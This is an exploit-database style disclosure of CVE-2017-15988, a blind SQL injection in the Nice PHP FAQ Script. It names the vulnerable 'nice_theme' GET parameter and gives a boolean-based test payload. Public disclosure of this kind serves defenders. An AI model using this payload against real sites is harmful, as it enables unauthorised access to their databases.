Nice PHP FAQ Script SQL Injection

`# # # # #   
# Exploit Title: Nice PHP FAQ Script - SQL Injection  
# Dork: N/A  
# Date: 30.10.2017  
# Vendor Homepage: http://www.nicephpscripts.com/  
# Software http://www.nicephpscripts.com/demo_php_script-PHP-FAQ-Script-Knowledgebase-Script.htm  
# Demo: http://www.nicephpscripts.com/scripts/faqscript/  
# Version: N/A  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-15988  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/index.php?nice_theme=[SQL]  
#   
# Parameter: nice_theme (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: nice_theme=3 AND 5083=5083  
#   
# Etc..  
# # # # #  
  
`